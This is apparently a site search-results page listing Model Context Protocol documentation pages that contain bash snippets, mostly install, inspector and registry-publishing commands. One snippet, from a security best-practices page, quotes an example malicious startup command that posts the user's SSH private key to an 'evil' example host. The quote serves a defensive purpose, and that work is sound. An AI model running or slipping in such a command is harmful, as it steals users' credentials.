977 pages for bash.
Titles and paths first, then pages whose text carries it. Each row opens that page as this site last read it.
Web client
Model Context Protocol · in the page
docs/2026-07-28/tools/inspector/web
…px @modelcontextprotocol/inspector` with no mode flag lands here. ```bash theme={null} npx @modelcontextprotocol/inspector # empty, add servers in the UI npx @modelcontextprotoc…
Understanding Authorization in MCP
Model Context Protocol · in the page
docs/2026-07-28/tutorials/security/authorization
…ation, run the following command to start the Keycloak container: ```bash theme={null} docker run -p 127.0.0.1:8080:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay…
Security Best Practices
Model Context Protocol · in the page
docs/2026-07-28/tutorials/security/security_best_practices
…nding Example malicious startup commands that could be embedded: ```bash theme={null} # Data exfiltration npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location #…
Build an MCP client
Model Context Protocol · in the page
docs/draft/develop/build-client
…p Your Environment First, create a new Python project with `uv`: ```bash macOS/Linux theme={null} # Create project directory uv init mcp-client cd mcp-client # Create virtual environment uv venv #…
Build an MCP server
Model Context Protocol · in the page
docs/draft/develop/build-server
…let's install `uv` and set up our Python project and environment: ```bash macOS/Linux theme={null} curl -LsSf https://astral.sh/uv/install.sh | sh ``` ```powershell Windows theme={null} powershell -…
Build with Agent Skills
Model Context Protocol · in the page
docs/draft/develop/build-with-agent-skills
…ements the standard. For example, to install them in Claude Code: ```bash theme={null} /plugin marketplace add anthropics/claude-plugins-official /plugin install mcp-server-dev ``` For other agents,…
Connect to local MCP servers
Model Context Protocol · in the page
docs/draft/develop/connect-local-servers
…installation by opening a terminal or command prompt and running: ```bash theme={null} node --version ``` If Node.js is not installed, download it from [nodejs.org](https://nodejs.org/). We recommen…
Debugging
Model Context Protocol · in the page
docs/draft/tools/debugging
…macOS: `~/Library/Logs/Claude` * Windows: `%APPDATA%\Claude\logs` ```bash macOS theme={null} tail -n 20 -F ~/Library/Logs/Claude/mcp*.log ``` ```powershell Windows theme={null} type "$env:AppData\Cl…
MCP Inspector
Model Context Protocol · in the page
docs/draft/tools/inspector
…uns directly through `npx`. No installation is required: **Web** ```bash theme={null} # Launch the web UI and connect to a local stdio server npx @modelcontextprotocol/inspector node path/to/server/…
Authorization
Model Context Protocol · in the page
docs/draft/tools/inspector/authorization
…inutes for a callback nobody will complete. For CI, be explicit: ```bash theme={null} mcp-inspector --cli "$URL" --transport http --stored-auth-only --method tools/list ``` `--stored-auth-only` nev…
CLI client
Model Context Protocol · in the page
docs/draft/tools/inspector/cli
…nd coding agents that need to verify a server change immediately. ```bash theme={null} npx @modelcontextprotocol/inspector --cli node build/index.js --method tools/list ``` > [!TIP] > > Running seve…
Configuration and flags
Model Context Protocol · in the page
docs/draft/tools/inspector/configuration
…server directly, either as a positional command (stdio) or a URL: ```bash theme={null} mcp-inspector node build/index.js # stdio, positional mcp-inspector --server-url ht…
mcpdo connection client
Model Context Protocol · in the page
docs/draft/tools/inspector/mcpdo
…age, so install the package globally, or run it through `npx -p`: ```bash theme={null} npm install -g @modelcontextprotocol/inspector mcpdo --help # or without installing npx -p @modelcontextprotoco…
Protocol eras
Model Context Protocol · in the page
docs/draft/tools/inspector/protocol-eras
…Inspector repository. Clone the repo and build the test servers: ```bash theme={null} git clone https://github.com/modelcontextprotocol/inspector cd inspector && npm install && npm run build cd clie…
Recipes
Model Context Protocol · in the page
docs/draft/tools/inspector/recipes
…the Inspector spawns. Everything positional is the command line: ```bash theme={null} mcp-inspector node build/index.js -- --verbose --config /etc/myserver.conf ``` Put `--` before any arguments me…
TUI client
Model Context Protocol · in the page
docs/draft/tools/inspector/tui
…ked-down environment, or when you prefer to stay in the terminal. ```bash theme={null} npx @modelcontextprotocol/inspector --tui node build/index.js # with an ad-hoc stdio server ```  or `pi…
Build an MCP App
Model Context Protocol · in the page
extensions/apps/build
…/skills.sh/) to install skills across different AI coding agents: ```bash theme={null} npx skills add modelcontextprotocol/ext-apps ``` Alternatively, you can install the skill manually by cloning t…
OAuth Client Credentials
Model Context Protocol · in the page
extensions/auth/oauth-client-credentials
…nd refresh automatically. **1. Install the SDK** **TypeScript** ```bash theme={null} npm install @modelcontextprotocol/client ``` **Python** ```bash theme={null} pip install mcp ``` **2. Create…
How to Authenticate When Publishing to the Official MCP Registry
Model Context Protocol · in the page
registry/authentication
…uthentication, navigate to your server project directory and run: ```bash theme={null} mcp-publisher login github ``` You should see output like: ```text Output theme={null} Logging in with github.…
How to Automate Publishing with GitHub Actions
Model Context Protocol · in the page
registry/github-actions
…d Release Create and push a version tag to trigger the workflow: ```bash theme={null} git tag v1.0.0 git push origin v1.0.0 ``` The workflow will run tests, build the package, publish the package t…
MCP Registry Supported Package Types
Model Context Protocol · in the page
registry/package-types
…MCPB artifact, which can be computed using the `openssl` command: ```bash theme={null} openssl dgst -sha256 image-processor.mcpb ``` The MCP Registry does not validate this hash; however, MCP client…
Quickstart: Publish an MCP Server to the MCP Registry
Model Context Protocol · in the page
registry/quickstart
…rotocol/quickstart-resources) to follow along with this tutorial: ```bash theme={null} git clone --depth 1 [email protected]:modelcontextprotocol/quickstart-resources.git cp -r quickstart-resources/weat…
MCP Registry Aggregators
Model Context Protocol · in the page
registry/registry-aggregators
…e, the first page can be fetched using a `limit` query parameter: ```bash theme={null} curl "https://registry.modelcontextprotocol.io/v0.1/servers?limit=100" ``` ```jsonc Output highlight={5} theme=…